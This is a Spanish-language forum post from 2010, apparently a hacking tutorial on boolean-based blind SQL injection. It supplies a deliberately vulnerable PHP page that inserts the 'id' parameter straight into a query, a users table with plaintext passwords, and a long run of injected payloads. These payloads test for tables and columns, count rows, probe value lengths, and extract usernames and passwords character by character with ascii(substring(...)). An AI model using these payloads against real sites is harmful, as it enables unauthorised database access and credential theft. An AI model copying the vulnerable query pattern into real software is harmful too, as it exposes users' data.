send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Blind Sql Inyeccion by El Gran Gauson

  • 0 Respuestas
  • 1404 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Fakedo0r

  • *
  • Visitante
« en: Febrero 27, 2010, 10:07:01 am »
Blind SQL Inyection



Autor:El Gran Guasón



Indice:


0x01:Introduccion
0x02:Como funcionan los ataques Blind SQL Inyection
0x03:Creando un index vulnerable
0x04:Sacando tablas
0x05:Sacar el numero de registro de una tabla
0x06:Sacando columnas de las tablas
0x07:Sacando la longitud de los valores
0x08:Sacar el valor real de una contraseña u otro dato




0x01:Introduccion

Hola a todos o nadie quizas ......... En este manual veremos como explotar paginas webs que sean
vulnerables a Blind SQL Inyection.Tratare de explicar todos los detalles.De como saber si es vulnerable hasta el valor de una contraseña........


0x02:Como funciona los ataques Blind SQL Inyection

Los ataques Blind SQL Inyection a diferencia de los ataques comunes de SQL , este se carateriza por ser un ataque a ciegas. Osea no nos devuelve nada al ejecutar la sentencia sino que la pagina queda igual o da un malefico error. Cuando la pagina se queda igual puede ser un valor positivo pero eso es algo que veremos en este momento.


0x03:Creando un index vulnerable

Para poder practicar les recomiendo Easy PHP , pueden buscarlo en google , descargarlo e instalarlo obviamente xD.Pero creo que lo tengo en algun lado de mi blog.
Ok , a continuacion veran un index vulnerable.


Código: You are not allowed to view links. Register or Login
Language: PHP
=======================index.php==============================================
<?php 
$host 
'localhost'
$dbuser 'root'
$dbname 'test'
$db mysql_connect($host$dbuser); 
mysql_select_db($dbname,$db); 
$sql "SELECT * FROM users WHERE id=".$_GET['id']; 
$query mysql_query($sql); 
if(@
mysql_num_rows($query)==0){ 
die(
'Cagate! :('); 

$result=@mysql_fetch_row($query); 
echo 
"<h2><center>Blind SQL Injection<br>Ejemplos<br><br>"
echo 
"<font color='#FF0000'>user_id: </font>".$result[0]."<br>"
echo 
"<font color='#FF0000'>username: </font>".$result[1]."<br>"
// echo "password: ".$result[2]."<br>"; 
echo "</h2></center>"
die();
?>

===========================================================================

====

Y los datos para la consola sql



Código: You are not allowed to view links. Register or Login
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)
 
 
 
 
INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');



oK , ahora verifiquen que hayan hecho todo bien de lo contrario se les mostrara como 400 errores .



0x04:Sacando tablas


Ok , ahora vamos a sacar las tablas mediante la siguiente sentencia haciendo de cuenta de que la web atacada es You are not allowed to view links. Register or Login que vendria a ser su web local con el index del capitulo anterior.

You are not allowed to view links. Register or Login (SELECT (COUNT(*)) FROM idiotas)

Pues esta sentencia nos da un valor falso diciendo Cagate. Pero si probamos con un valor positivo.


You are not allowed to view links. Register or Login (SELECT (COUNT(*)) FROM users)

La pagina se queda en su lugar o mas bien nos dio un resultado positivo ya que si existe la tabla
users


0x05:Sacar el numero de registro de una tabla


Nice , ahora vamos a sacar el numero de registro de una tabla . En este caso vamos a sacar el numero de registro de la tabla users. Para hacerlo seria de la siguiente manera


You are not allowed to view links. Register or Login (SELECT Count(*) FROM users) > 5

Este consulta no dara un resultado negativo ya que la tabla users solo contiene 4 registros y
4 > 5


Entonces iremos probando asi



You are not allowed to view links. Register or Login (SELECT Count(*) FROM users) = 1 (Negativo)

You are not allowed to view links. Register or Login (SELECT Count(*) FROM users) = 2 (Negativo)

You are not allowed to view links. Register or Login (SELECT Count(*) FROM users) = 3 (Negativo)

You are not allowed to view links. Register or Login (SELECT Count(*) FROM users) = 4 (Positivo)


Ok , viendo que 4 = 4 , es obvio que la tabla users contiene 4 registros.........




0x06:Sacando columnas de las tablas


Entonces ya es hora de ir sacando las columnas de la tabla users.Para hacerlo deberian hacer esto.


You are not allowed to view links. Register or Login Count(idiotas) FROM users)


Esta consulta nos daria negativa ya que no existe ninguna columna llamada idiotas en la tabla users


Ahora veamos con las siguientes


You are not allowed to view links. Register or Login Count(name) FROM users)


Esta consulta nos daria positiva ya que si hay una columna llamada name que vendria a se como el
nombre los usuarios.Y ahora con esta


You are not allowed to view links. Register or Login Count(password) FROM users)

Ok , nos dio positiva porque si existe una columna llamada password en la tabla users que vendria
ser la contraseña.


0x07:Sacando la longitud de los valores


Bien ahora vamos a aprender a sacar la longitud de los valores de la columna name y password de la
tabla users.

Para sacar la longitud del primer valor de la columna name seria asi

You are not allowed to view links. Register or Login lenght(name) FROM users where id=1) > 7

Pues no da un resultado negativo ya que 6 no es mayor que siete que vendria a ser "guason"
Entonces para ir descartando seria asi:


You are not allowed to view links. Register or Login lenght(name) FROM users where id=1) = 1 (Negativo)

You are not allowed to view links. Register or Login lenght(name) FROM users where id=1) = 2 (Negativo)

You are not allowed to view links. Register or Login lenght(name) FROM users where id=1) = 3 (Negativo)

You are not allowed to view links. Register or Login lenght(name) FROM users where id=1) = 4 (Negativo)

You are not allowed to view links. Register or Login lenght(name) FROM users where id=1) = 5 (Negativo)

You are not allowed to view links. Register or Login lenght(name) FROM users where id=1) = 6 (Positivo)


Ok , entonces ya podemos deducir que 6 es el numero de caracteres que contiene "guason" que
vendria a ser el primer valor de la columna name de la tabla users.

Para sacar el password seria asi:


You are not allowed to view links. Register or Login lenght(password) FROM users where id=1) > 4

Pues esta consulta nos daria un resultado negativo porque 3 no es mayor a 4.Porque el primer valor
de la columna password de la tabla users es "123". Entonces para ir descartando seria asi:


You are not allowed to view links. Register or Login lenght(password) FROM users where id=1) = 1 (Negativo)
You are not allowed to view links. Register or Login lenght(password) FROM users where id=1) = 2 (Negativo)
You are not allowed to view links. Register or Login lenght(password) FROM users where id=1) = 3 (Positivo)

Nice , entonces podemos deducir que el primer valor de la columna password de la tabla users
contiene 3 caracteres que en realidad serian "123".

Para ir sacando los otros usuarios solo tendrian que cambiar el 1 por numero del 1 al 4 porque
la tabla users solo contiene 4 registros.Ejemplo para sacar otro usuario seria


You are not allowed to view links. Register or Login lenght(name) FROM users where id=2) = 1 (Negativo)


Eso seria todo.


0x08:Sacar el valor real de una contraseña u otro dato


Muy bien ahora bien la mejor parte aunque tambien la peor si no tenes una tool automatizadora.
Entonces para sacar la primera letra o numero o lo que sea del primer valor de la columna de la
tabla users , seria asi:

You are not allowed to view links. Register or Login AND ascii(substring((SELECT name FROM users where id=1),1,1)) =
103


Lo que hice fue convertir una letra "g" a ascii dandome esto "103".
Entonces esta consulta nos da un valor positivo porque el primer letra o numero o lo que sea del
primer valor de la columna name de la tabla users es "g" ya que el primer valor de la columna name
de la tabla users es "guason".
Para sacar todo seria asi.




You are not allowed to view links. Register or Login AND ascii(substring((SELECT name FROM users where id=1),2,1))= 117
You are not allowed to view links. Register or Login AND ascii(substring((SELECT name FROM users where id=1),3,1))= 97
You are not allowed to view links. Register or Login AND ascii(substring((SELECT name FROM users where id=1),4,1))= 115
You are not allowed to view links. Register or Login AND ascii(substring((SELECT name FROM users where id=1),5,1))= 111
You are not allowed to view links. Register or Login AND ascii(substring((SELECT name FROM users where id=1),6,1))= 110

Como todo estas consultas me dieron positivas podemos concluir que:


103 = g
117 = u
97 = a
115 = s
111 = o
110 = n

Todo esto si lo juntamos nos da "guason" entonces ya sacamos el el primer valor de la columna
name de la tabla users.

Ahora para la contraseña seria asi



You are not allowed to view links. Register or Login AND ascii(substring((SELECT password FROM users where id=1),1,1)) = 49
You are not allowed to view links. Register or Login AND ascii(substring((SELECT password FROM users where id=1),2,1)) = 50
You are not allowed to view links. Register or Login AND ascii(substring((SELECT password FROM users where id=1),3,1)) = 51

Como todas estas consultas me dieron positivas podemos concluir que :


49 = 1
50 = 2
51 = 3


Entonces si juntamos todos estos datos positivos en su orden , nos daria "123" que vendria a ser
el valor de la columna password de la tabla users , claro como dice su id solo sacamos el primer valor
que vendria a ser el admin.Para sacar otros usuarios seria asi cambiando el 1 del id por un numero
del 1 al 4.Un ejemplo seria asi:


You are not allowed to view links. Register or Login AND ascii(substring((SELECT password FROM users where id=2),1,1)) = 49

Dando un valor positivo ya que el segundo valor de la columna password de la tabla users , su primer
caracter es 1.Porque en realidad el valor real de la columna password de tabla user es "11".

 

¿Te gustó el post? COMPARTILO!



Destripando la logica de una inyeccion [Mysql Doble Query Error Based]

Iniciado por q3rv0

Respuestas: 4
Vistas: 2489
Último mensaje Junio 15, 2013, 11:08:53 am
por morodog
Subir Shell a través de Inyección SSI (Server-side include)

Iniciado por CalebBucker

Respuestas: 7
Vistas: 3409
Último mensaje Junio 23, 2012, 08:44:07 am
por s3cur1tyr00t
Sqlsus 0.2 Liberado - Inyección de MySQL y Adquisición de herramientas.

Iniciado por dracko.rx

Respuestas: 0
Vistas: 1587
Último mensaje Febrero 24, 2010, 03:08:27 pm
por dracko.rx
Métodos para bypassear un WAF en Inyección SQLi

Iniciado por M5f3r0

Respuestas: 6
Vistas: 2792
Último mensaje Agosto 05, 2013, 01:24:32 pm
por Mr. Foster
Inyección SQLi Manual Metodo (POST)

Iniciado por OswireW0rding

Respuestas: 3
Vistas: 3115
Último mensaje Marzo 16, 2014, 11:59:48 pm
por Snifer